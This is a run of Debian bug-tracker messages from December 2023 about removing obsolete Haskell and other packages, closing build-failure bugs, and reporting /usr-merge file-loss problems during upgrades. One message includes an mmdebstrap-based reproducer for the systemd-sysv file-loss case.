Your message dated Fri, 01 Dec 2023 18:51:21 + with message-id and subject line Bug#1057202: Removed package(s) from unstable has caused the Debian Bug report #1054596, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054596: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054596 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-binary-parsers Version: 0.2.4.0-4 Severity: serious I intend to remove this package: * It has no rev dependencies * The current version FTBFS * Seems unmaintained; Last upload more than 4 years ago * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Version: 0.2.4.0-4+rm Dear submitter, as the package haskell-binary-parsers has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057202 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1050596: marked as done (RM: eja -- RoQA; unmaintained; severely outdated)
Your message dated Fri, 01 Dec 2023 18:38:35 + with message-id and subject line Bug#1053903: Removed package(s) from unstable has caused the Debian Bug report #1050596, regarding RM: eja -- RoQA; unmaintained; severely outdated to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1050596: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1050596 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: eja Severity: serious Version: 9.5.20-1 eja does not seem to be used a lot anymore. I intend to file a RM bug. If you have any reasons to keep it in Debian please voice them here. To get people's attention, I am filing as a serious bug and will reassign to the FTP team when the package is autoremoved from testing. --- End Message --- --- Begin Message --- Version: 9.5.20-1+rm Dear submitter, as the package eja has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1053903 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1056272: marked as done (RM: g3dviewer -- ROM; abandoned upstream; depends on gtk2)
Your message dated Fri, 01 Dec 2023 18:37:39 + with message-id and subject line Bug#1053674: Removed package(s) from unstable has caused the Debian Bug report #1056272, regarding RM: g3dviewer -- ROM; abandoned upstream; depends on gtk2 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1056272: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1056272 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove Control: affects -1 + src:g3dviewer g3dviewer is dead upstream. It depends on gtk2 + libglade2 + libgtkglext1 - which are all deprecated. g3dviewer has no reverse dependencies and a low popcon. signature.asc Description: This is a digitally signed message part. --- End Message --- --- Begin Message --- Version: 0.2.99.5~svn130-14+rm Dear submitter, as the package g3dviewer has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1053674 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1056279: Looks like the systemctl links are gone but not the pm-utils ones
Hi Francois, On Mon, Nov 27, 2023 at 04:05:55PM -0800, Francois Marier wrote: > On 2023-11-27 at 03:54:16, Helmut Grohne (hel...@subdivi.de) wrote: > > I don't have time to update the patch right now. Let me promise an update > > this week, ok? I am very sorry to break this promise. It's complicated. > My apologies for not responding earlier, but this is a rather thorny problem > to solve and I have not had the mental "bandwidth" to dig into this yet. > > I wanted however to express my sincere appreciation for all of the work you > have put into both understanding this problem and coming up with a solution. Well, in essence I am driving the completion of the /usr-merge transition. You may argue that I have caused all this trouble even if that is an oversimplification. The way you support solving this matter is appreciated. I fully understand that fixing this requires significant effort that you cannot just provide spontaneously. So there will be no patch for now, because there still are unsolved problems. While looking into Emilio's problem and fixing the version constraints, I figured that test cases are failing. In particular, there are situations where dpkg unpacks systemd-sysv from unstable at a time where molly-guard from bookworm is still unpacked. This causes files from systemd-sysv to be irrevocably lost. I fear we're going back to the drawing board. If you want details, try #1057199, but I caution that it's not for the faint of heart and I already have apt and dpkg developers assist, which is awesome. Among the ideas circulated by multiple DDs, the one that seems most promising to me was from Julian Andres Klode. He suggests that we add a "barrier" package "usrmerge-support". It would have versioned Conflicts with molly-guard and systemd-sysv would declare Pre-Depends on usrmerge-support. This approach can be used to emulate the semantics that I hoped to get from Conflicts, because Pre-Depends imply that at the time usrmerge-support.postinst runs, molly-guard must be removed or upgraded and systemd-sysv is not yet unpacked. Totally untested though. I fear there is not much you can do at this point. Let me also clarify that I am not really looking into this for molly-guard's sake. For one thing, molly-guard provides an instance of a problem class repeated multiple times in the archive. I hope that once we get molly-guard right, the other instances become easier. For another, your responsiveness and care is appreciated. Stay tuned Helmut
Bug#1057220: systemd-sysv: may loose files in upgrade from bookworm
Package: systemd-sysv Version: 255~rc1-4 Severity: serious Justification: silent file loss in upgrade User: helm...@debian.org Usertags: dep17p7 Hi Luca and Michael et al, while preparing patches for molly-guard, I figured an upgrade file loss scenario for systemd-sysv. This is unfortunate on multiple accounts and I cannot offer a solution at this time. Let me start with a reproducer and move on to an explanation. mmdebstrap \ bookworm \ /dev/null \ http://deb.debian.org/debian \ --variant=apt \ --include=molly-guard,systemd-sysv \ --customize-hook='sed -i -e s/bookworm/sid/ "$1/etc/apt/sources.list"' \ --chrooted-customize-hook="apt update" \ --chrooted-customize-hook='apt-get -y upgrade --with-new-pkgs' \ --chrooted-customize-hook='apt-get download libsystemd-shared libsystemd0 libudev1 systemd systemd-sysv' \ --chrooted-customize-hook='echo "molly-guard:all deinstall" | dpkg --set-selections' \ --chrooted-customize-hook='dpkg --auto-deconfigure --unpack *.deb' \ --chrooted-customize-hook="dpkg --configure -a" \ --customize-hook='ls -la "$1/usr/sbin/halt"' In testing the molly-guard patches I noticed an odd behaviour. Occasionally, dpkg would unpack sid's systemd-sysv before removing or upgrading bookworm's molly-guard. This is surprising given that systemd-sysv declares versioned Conflicts for molly-guard. I reduced this into a minimal test case and discussed it with Guillem Jover. He suggested that this behaviour is covered by debian policy section §6.6 and after reading it over and over, I agree. I now consider the explanation of Conflicts in §7.4 misleading. Since apt developers were also surprised, I filed #1057199 against debian-policy to ask for clarification. That said, we won't be changing how dpkg works in bookworm and hence have to find a solution that works with the current implementation. Fundamentally, we allow unpacking a package (e.g. systemd-sysv) while conflicting packages are still installed as long as those conflicting packages are scheduled for (temporary or permanent) removal. Hence the test case above crafts a bookworm installation containing both systemd-sysv and molly-guard. It then proceeds to upgrading systemd-sysv and removing molly-guard. While this is a bit of an artificial reproducer bypassing apt, I managed to reproduce this with apt in more complex upgrades. While the moratorium is formally lifted, the release team still classifies file loss due to /usr-merge as RC bugs. Let me stress that this scenario does not involve a molly-guard from trixie or sid. It relies purely on the molly-guard released with bookworm. So there is nothing that molly-guard can do to assist here. A similar situation happens when upgrading molly-guard rather than removing it. The updated molly-guard.preinst is only run after systemd-sysv has been unpacked and files have been lost. I appreciate ideas, proof of concepts and other forms of help. I do request patience with uploading a fix though. I've got the molly-guard patch wrong about four times already. Please let us pass a solution through review and extensive testing before uploading. Helmut
Bug#1057219: busybox: possible file loss during upgrade arising from /usr-merge
Package: busybox Version: 1:1.36.1-6 Severity: serious User: helm...@debian.org Usertags: dep17p1 Hi Chris and Michael, I am very sorry to tell you that I found a contrieved /usr-merge problem with the busybox upload. In essence, Conflicts allow for concurrent unpacks in weired situations. As a consequence, you may miss the busybox binary if you upgrade from bookworm to trixie and change from busybox-static to busybox or vice versa in the process. I do not have a solution at this time and file this bug as a migration blocker. If you want to get rid of the rc bug, you may upload a revert. Otherwise, please wait until we have a better understanding of the problem. I am filing a detailed report for systemd-sysv with a very similar issue. Helmut
Bug#1057218: resolvconf: possible file loss in upgrades due to /usr-merge
Package: resolvconf Version: 1.92 Severity: serious User: helm...@debian.org Usertags: dep17p1 Hi Andrej, I am very sorry for not having seen this earlier. There is a tricky case where upgrading from bookworm to sid may loose files if you simultaneously change implementation. I am working on the analysis and it probably looks like: resolvconf: 1.91+nmu1: issues: - files: - /sbin/resolvconf others: systemd-resolved: 255~rc3-3: unstable what: ineffective conflicts suites: bookworm|trixie '1.92': issues: - files: - /usr/sbin/resolvconf others: openresolv: 3.12.0-1: bullseye 3.12.0-3: bookworm 3.13.1-1: trixie|unstable systemd-resolved: 252.17-1~deb12u1: bookworm 252.19-1~deb12u1: bookworm-proposed-updates 252.5-2~bpo11+1: bullseye-backports 254.5-1: trixie 254.5-1~bpo12+2: bookworm-backports what: ineffective conflicts suites: unstable This is a meant as a migration blocker. If you want to migrate resolvconf for other reasons, consider uploading a revert. Otherwise, please wait a bit for me to better understand the situation. I am filing a similar bug with way more details against systemd-sysv. Helmut
Bug#1049447: marked as done (minexpert2 build-dependencies unsatisfiable on many architectures due to change in daps.)
Your message dated Fri, 1 Dec 2023 19:42:42 +0200 with message-id and subject line Fixed in 3.3.2+cleaned1-6 has caused the Debian Bug report #1049445, regarding minexpert2 build-dependencies unsatisfiable on many architectures due to change in daps. to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1049445: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1049445 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: minexpert2 Version: 8.6.3-1 Severity: serious Tags: trixie, sid Justification: rc-policy - packages must be buildable within the same release. User: debian...@lists.debian.org Usertags: edos-uninstallable x-debbugs-cc: lopi...@debian.org daps 3.3.2+cleaned1-5 moved calibre from suggests to depends. This means that daps can no longer be installed on architectures where calibre is not available. This in turn means that minexpert2 cannot be built on those architectures. This applies to both the version of minexpert2 in testing and the version in unstable. --- End Message --- --- Begin Message --- Version: 3.3.2+cleaned1-6 daps (3.3.2+cleaned1-6) unstable; urgency=low * Move calibre to Suggests instead of Depends, so that daps can be installed on more platforms and thus the other programs that depend on daps. Thanks to Peter Green for reporting the bug for minexpert2 and massxpert. -- Filippo Rusconi Wed, 23 Aug 2023 12:18:08 +0200--- End Message ---
Bug#1049445: marked as done (massxpert build-dependencies unsatisfiable on many architectures due to change in daps.)
Your message dated Fri, 1 Dec 2023 19:42:42 +0200 with message-id and subject line Fixed in 3.3.2+cleaned1-6 has caused the Debian Bug report #1049445, regarding massxpert build-dependencies unsatisfiable on many architectures due to change in daps. to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1049445: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1049445 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: massxpert Version: 7.0.0-2 Severity: serious Justification: rc-policy - packages must be buildable within the same release. User: debian...@lists.debian.org Usertags: edos-uninstallable x-debbugs-cc: lopi...@debian.org daps 3.3.2+cleaned1-4 moved calibre from suggests to depends. This means that daps can no longer be installed on architectures where calibre is not available. This in turn means that massxpert cannot be built on those architectures. --- End Message --- --- Begin Message --- Version: 3.3.2+cleaned1-6 daps (3.3.2+cleaned1-6) unstable; urgency=low * Move calibre to Suggests instead of Depends, so that daps can be installed on more platforms and thus the other programs that depend on daps. Thanks to Peter Green for reporting the bug for minexpert2 and massxpert. -- Filippo Rusconi Wed, 23 Aug 2023 12:18:08 +0200--- End Message ---
Processed: Merge and move where it was fixed
Processing commands for cont...@bugs.debian.org: > reassign 1049445 daps 3.3.2+cleaned1-5 Bug #1049445 [massxpert] massxpert build-dependencies unsatisfiable on many architectures due to change in daps. Bug reassigned from package 'massxpert' to 'daps'. No longer marked as found in versions massxpert/7.0.0-2. Ignoring request to alter fixed versions of bug #1049445 to the same values previously set Bug #1049445 [daps] massxpert build-dependencies unsatisfiable on many architectures due to change in daps. Marked as found in versions daps/3.3.2+cleaned1-5. > reassign 1049447 daps 3.3.2+cleaned1-5 Bug #1049447 [minexpert2] minexpert2 build-dependencies unsatisfiable on many architectures due to change in daps. Bug reassigned from package 'minexpert2' to 'daps'. No longer marked as found in versions minexpert2/8.6.3-1. Ignoring request to alter fixed versions of bug #1049447 to the same values previously set Bug #1049447 [daps] minexpert2 build-dependencies unsatisfiable on many architectures due to change in daps. Marked as found in versions daps/3.3.2+cleaned1-5. > forcemerge 1049445 1049447 Bug #1049445 [daps] massxpert build-dependencies unsatisfiable on many architectures due to change in daps. Bug #1049447 [daps] minexpert2 build-dependencies unsatisfiable on many architectures due to change in daps. Merged 1049445 1049447 > affects 1049445 src:massxpert src:minexpert2 Bug #1049445 [daps] massxpert build-dependencies unsatisfiable on many architectures due to change in daps. Bug #1049447 [daps] minexpert2 build-dependencies unsatisfiable on many architectures due to change in daps. Added indication that 1049445 affects src:massxpert and src:minexpert2 Added indication that 1049447 affects src:massxpert and src:minexpert2 > thanks Stopping processing here. Please contact me if you need assistance. -- 1049445: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1049445 1049447: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1049447 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1054950: marked as done (haskell-multistate: FTBFS: unsatisfiable build-dependency: libghc-hspec-dev (< 2.9) but 2.10.10-1+b1 is to be installed)
Your message dated Fri, 01 Dec 2023 16:19:06 + with message-id and subject line Bug#1054950: fixed in haskell-multistate 0.8.0.4-2 has caused the Debian Bug report #1054950, regarding haskell-multistate: FTBFS: unsatisfiable build-dependency: libghc-hspec-dev (< 2.9) but 2.10.10-1+b1 is to be installed to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054950: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054950 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-multistate Version: 0.8.0.4-1 Severity: serious Justification: FTBFS Tags: trixie sid ftbfs User: lu...@debian.org Usertags: ftbfs-20231028 ftbfs-trixie Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > +--+ > | Install package build dependencies > | > +--+ > > > Setup apt archive > - > > Merged Build-Depends: debhelper (>= 10), haskell-devscripts-minimal | > haskell-devscripts (>= 0.13), cdbs, ghc, ghc-prof, libghc-monad-control-dev > (>= 1.0), libghc-monad-control-dev (<< 1.1), libghc-monad-control-prof (>= > 1.0), libghc-monad-control-prof (<< 1.1), libghc-tagged-dev (>= 0.7), > libghc-tagged-dev (<< 0.9), libghc-tagged-prof (>= 0.7), libghc-tagged-prof > (<< 0.9), libghc-transformers-base-dev (<< 0.5), > libghc-transformers-base-prof (<< 0.5), libghc-hspec-dev (>= 2), > libghc-hspec-dev (<< 2.9), libghc-hspec-prof, build-essential, fakeroot, > ghc-doc, libghc-monad-control-doc, libghc-tagged-doc, > libghc-transformers-base-doc > Filtered Build-Depends: debhelper (>= 10), haskell-devscripts-minimal, cdbs, > ghc, ghc-prof, libghc-monad-control-dev (>= 1.0), libghc-monad-control-dev > (<< 1.1), libghc-monad-control-prof (>= 1.0), libghc-monad-control-prof (<< > 1.1), libghc-tagged-dev (>= 0.7), libghc-tagged-dev (<< 0.9), > libghc-tagged-prof (>= 0.7), libghc-tagged-prof (<< 0.9), > libghc-transformers-base-dev (<< 0.5), libghc-transformers-base-prof (<< > 0.5), libghc-hspec-dev (>= 2), libghc-hspec-dev (<< 2.9), libghc-hspec-prof, > build-essential, fakeroot, ghc-doc, libghc-monad-control-doc, > libghc-tagged-doc, libghc-transformers-base-doc > dpkg-deb: building package 'sbuild-build-depends-main-dummy' in > '/<>/apt_archive/sbuild-build-depends-main-dummy.deb'. > Ign:1 copy:/<>/apt_archive ./ InRelease > Get:2 copy:/<>/apt_archive ./ Release [615 B] > Ign:3 copy:/<>/apt_archive ./ Release.gpg > Get:4 copy:/<>/apt_archive ./ Sources [1201 B] > Get:5 copy:/<>/apt_archive ./ Packages [1183 B] > Fetched 2999 B in 0s (211 kB/s) > Reading package lists... > Reading package lists... > > Install main build dependencies (apt-based resolver) > > > Installing build dependencies > Reading package lists... > Building dependency tree... > Reading state information... > Some packages could not be installed. This may mean that you have > requested an impossible situation or if you are using the unstable > distribution that some required packages have not yet been created > or been moved out of Incoming. > The following information may help to resolve the situation: > > The following packages have unmet dependencies: > sbuild-build-depends-main-dummy : Depends: libghc-hspec-dev (< 2.9) but > 2.10.10-1+b1 is to be installed > E: Unable to correct problems, you have held broken packages. > apt-get failed. The full build log is available from: http://qa-logs.debian.net/2023/10/28/haskell-multistate_0.8.0.4-1_unstable.log All bugs filed during this archive rebuild are listed at: https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20231028;users=lu...@debian.org or: https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20231028=lu...@debian.org=1=1=1=1#results A list of current common problems and possible solutions is available at http://wiki.debian.org/qa.debian.org/FTBFS . You're welcome to contribute! If you reassign this bug to another package, please mark it as 'affects'-ing this package. See https://www.debian.org/Bugs/server-control#affects If you fail to reproduce this, please provide a build log and diff it with mine so that we can identify if something relevant changed in the meantime. --- End Message --- --- Begin Message --- Source: haskell-multistate Source-Version: 0.8.0.4-2 Done: Ilias Tsitsimpis We believe that the bug you reported is
Bug#1054497: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 16:19:06 + with message-id and subject line Bug#1054497: fixed in haskell-multistate 0.8.0.4-2 has caused the Debian Bug report #1054497, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054497: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054497 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-multistate Version: 0.8.0.4-1 Severity: serious I intend to remove this package: * It has only one rev dependency (haskell-butcher) * The current version FTBFS * It's not part of the latest Stackage LTS If you believe we should keep this package in Debian, please close this bug report. -- Ilias --- End Message --- --- Begin Message --- Source: haskell-multistate Source-Version: 0.8.0.4-2 Done: Ilias Tsitsimpis We believe that the bug you reported is fixed in the latest version of haskell-multistate, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 1054...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Ilias Tsitsimpis (supplier of updated haskell-multistate package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Fri, 01 Dec 2023 18:15:15 +0200 Source: haskell-multistate Architecture: source Version: 0.8.0.4-2 Distribution: unstable Urgency: medium Maintainer: Debian Haskell Group Changed-By: Ilias Tsitsimpis Closes: 1054497 1054950 Changes: haskell-multistate (0.8.0.4-2) unstable; urgency=medium . * Declare compliance with Debian policy 4.6.2 * Patch for newer build dependencies (Closes: #1054950, #1054497) Checksums-Sha1: 11757de836fb30de14af42fa55bcaa16526dc09d 2675 haskell-multistate_0.8.0.4-2.dsc a620f453e551384b8a4a40263f839972ab86efb7 2984 haskell-multistate_0.8.0.4-2.debian.tar.xz 72790ea7f636125ed184d4767aa6ee0355cedf93 10991 haskell-multistate_0.8.0.4-2_amd64.buildinfo Checksums-Sha256: d38df0d150c564626ae3221a23eb68795095a09efcc2ce3fbaabc95bbde7bbb7 2675 haskell-multistate_0.8.0.4-2.dsc fd9a3c143ea85e550d72e7c175d11816b24e759681948c171ec82228b7efa6e1 2984 haskell-multistate_0.8.0.4-2.debian.tar.xz dbf294452f6dc92b412cd2e8e172c57c4d996a3ed24ced75f9bc0261be0fcb9e 10991 haskell-multistate_0.8.0.4-2_amd64.buildinfo Files: d48857e676c44e835d7ed9f26b277497 2675 haskell optional haskell-multistate_0.8.0.4-2.dsc a920ea89d49bd2e05c19ba2e3ac6bf5b 2984 haskell optional haskell-multistate_0.8.0.4-2.debian.tar.xz 59a87a4fba29ab70c9914efadcde0ffb 10991 haskell optional haskell-multistate_0.8.0.4-2_amd64.buildinfo -BEGIN PGP SIGNATURE- iQJIBAEBCgAyFiEEJ9c8pfW11+AaUTb116hngMxkQDwFAmVqBwUUHGlsaWFzdHNp QGRlYmlhbi5vcmcACgkQ16hngMxkQDyxUA/9ET5Y6Ao/5NjJu3UzcPka0cF1cTQd HsVbT7H3Se2/jFNWX/ZTLVH79ezHGAHaNh/qlj445y5qfKQVUZpsQk7NcNLAy4wZ 7Ht4Vs1y9lIPptxO8Sr3b56ZMecLoOkmrbdkozjAneuol1NTAaGKY1tUP8sh3OU8 q1oI7ySblaK55diigbTaTO40InLFhQ9+PpU+MzWVj2fhFR8Z+LwL7/fGEleE145p m0WEpEQh4vRZhF4lmovLqFRfJuZ/J7Ko4hvk2a2w6X74xYZ4sw4PhCSLXIA6p7i9 VTQHAzXcqGhruFcQApMkEmVRBqXJxABDz9DscpWIww/BkPKWjTtMbm2wfftwqMgH +ZlmLpUjMSKX3mY4Na1rTPSNrBq0QUL9I1fDNEFsB8EJEj+oKOygvxz6+lc8CR+Y aAvLQ0tGou52126fxKf8VLGlAAhHTyY+IwBxBjizpoBZnOw3Ff9N9t5dgTvJspze IL9b+SKWnasQopkVT/gyAJPAcU/5peHLHJu7/yq2CgajGDlapagmSVgilMIsu4FA 6oJc+DnYZkFGA82gE2e7/OY1Oqse/MgO8s2hwZM0KY8B0OappoBpcrSiqb5u3H1p w075JHpxmEOaksiA+f7pi2pXFySHYhOSZz1yPnZcVxXOIwDU8xoHyxToHfXtN8TF o/XXjRK4K3inDIU= =EGkr -END PGP SIGNATURE End Message ---
Processed: Re: Bug#1054358: Removal notice: obsolete
Processing control commands: > clone -1 -2 Bug #1054358 [src:haskell-mbox] Removal notice: obsolete Bug 1054358 cloned as bug 1057215 > reassign -2 ftp.debian.org Bug #1057215 [src:haskell-mbox] Removal notice: obsolete Bug reassigned from package 'src:haskell-mbox' to 'ftp.debian.org'. No longer marked as found in versions haskell-mbox/0.3.4-6. Ignoring request to alter fixed versions of bug #1057215 to the same values previously set > retitle -2 RM: haskell-mbox -- ROM; obsolete Bug #1057215 [ftp.debian.org] Removal notice: obsolete Changed Bug title to 'RM: haskell-mbox -- ROM; obsolete' from 'Removal notice: obsolete'. > severity -2 normal Bug #1057215 [ftp.debian.org] RM: haskell-mbox -- ROM; obsolete Severity set to 'normal' from 'serious' -- 1054358: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054358 1057215: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057215 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1054319: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-ixset -- ROM; obsolete Control: severity -2 normal On Sat, Oct 21, 2023 at 08:38PM, Ilias Tsitsimpis wrote: > I intend to remove this package: > > * It has no rev dependencies > * The current version FTBFS (depends on broken haskell-syb-with-class) > * It's not part of the latest Stackage LTS Dear FTP masters, please remove haskell-ixset from unstable. -- Ilias
Processed: Re: Bug#1054319: Removal notice: obsolete
Processing control commands: > clone -1 -2 Bug #1054319 [src:haskell-ixset] Removal notice: obsolete Bug 1054319 cloned as bug 1057214 > reassign -2 ftp.debian.org Bug #1057214 [src:haskell-ixset] Removal notice: obsolete Bug reassigned from package 'src:haskell-ixset' to 'ftp.debian.org'. No longer marked as found in versions haskell-ixset/1.1.1.2-1. Ignoring request to alter fixed versions of bug #1057214 to the same values previously set > retitle -2 RM: haskell-ixset -- ROM; obsolete Bug #1057214 [ftp.debian.org] Removal notice: obsolete Changed Bug title to 'RM: haskell-ixset -- ROM; obsolete' from 'Removal notice: obsolete'. > severity -2 normal Bug #1057214 [ftp.debian.org] RM: haskell-ixset -- ROM; obsolete Severity set to 'normal' from 'serious' -- 1054319: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054319 1057214: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057214 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1054358: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-mbox -- ROM; obsolete Control: severity -2 normal On Sun, Oct 22, 2023 at 04:33PM, Ilias Tsitsimpis wrote: > I intend to remove this package: > > * It has no rev dependencies > * The current version FTBFS > * Seems unmaintained; Last upload more than 5 years ago > * It's not part of the latest Stackage LTS Dear FTP masters, please remove haskell-mbox from unstable. -- Ilias
Processed: Re: Bug#1054357: Removal notice: obsolete
Processing control commands: > clone -1 -2 Bug #1054357 [src:haskell-fclabels] Removal notice: obsolete Bug 1054357 cloned as bug 1057212 > reassign -2 ftp.debian.org Bug #1057212 [src:haskell-fclabels] Removal notice: obsolete Bug reassigned from package 'src:haskell-fclabels' to 'ftp.debian.org'. No longer marked as found in versions haskell-fclabels/2.0.5.1-1. Ignoring request to alter fixed versions of bug #1057212 to the same values previously set > retitle -2 RM: haskell-fclabels -- ROM; obsolete Bug #1057212 [ftp.debian.org] Removal notice: obsolete Changed Bug title to 'RM: haskell-fclabels -- ROM; obsolete' from 'Removal notice: obsolete'. > severity -2 normal Bug #1057212 [ftp.debian.org] RM: haskell-fclabels -- ROM; obsolete Severity set to 'normal' from 'serious' -- 1054357: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054357 1057212: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057212 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1054357: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-fclabels -- ROM; obsolete Control: severity -2 normal On Sun, Oct 22, 2023 at 04:31PM, Ilias Tsitsimpis wrote: > I intend to remove this package: > > * It has no rev dependencies > * The current version FTBFS > * It's not part of the latest Stackage LTS Dear FTP masters, please remove haskell-fclabels from unstable. -- Ilias
Bug#1054356: Removal notice: obsolete
Control: clone -1 -2 Control: reassign -2 ftp.debian.org Control: retitle -2 RM: haskell-data-tree-print -- ROM; obsolete Control: severity -2 normal On Sun, Oct 22, 2023 at 04:28PM, Ilias Tsitsimpis wrote: > I intend to remove this package: > > * It has no rev dependencies > * The current version FTBFS > * Seems unmaintained; Last upload more than 5 years ago > * It's not part of the latest Stackage LTS > > If you believe we should keep this package in Debian, please close this > bug report. Dear FTP masters, please remove haskell-data-tree-print from unstable. -- Ilias
Processed: Re: Bug#1054316: Removal notice: obsolete
Processing control commands: > clone -1 -2 Bug #1054316 [src:haskell-czipwith] Removal notice: obsolete Bug 1054316 cloned as bug 1057210 > reassign -2 ftp.debian.org Bug #1057210 [src:haskell-czipwith] Removal notice: obsolete Bug reassigned from package 'src:haskell-czipwith' to 'ftp.debian.org'. No longer marked as found in versions haskell-czipwith/1.0.1.4-1. Ignoring request to alter fixed versions of bug #1057210 to the same values previously set > retitle -2 RM: haskell-czipwith -- ROM; obsolete Bug #1057210 [ftp.debian.org] Removal notice: obsolete Changed Bug title to 'RM: haskell-czipwith -- ROM; obsolete' from 'Removal notice: obsolete'. > severity -2 normal Bug #1057210 [ftp.debian.org] RM: haskell-czipwith -- ROM; obsolete Severity set to 'normal' from 'serious' -- 1054316: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054316 1057210: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057210 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: Re: Bug#1054356: Removal notice: obsolete
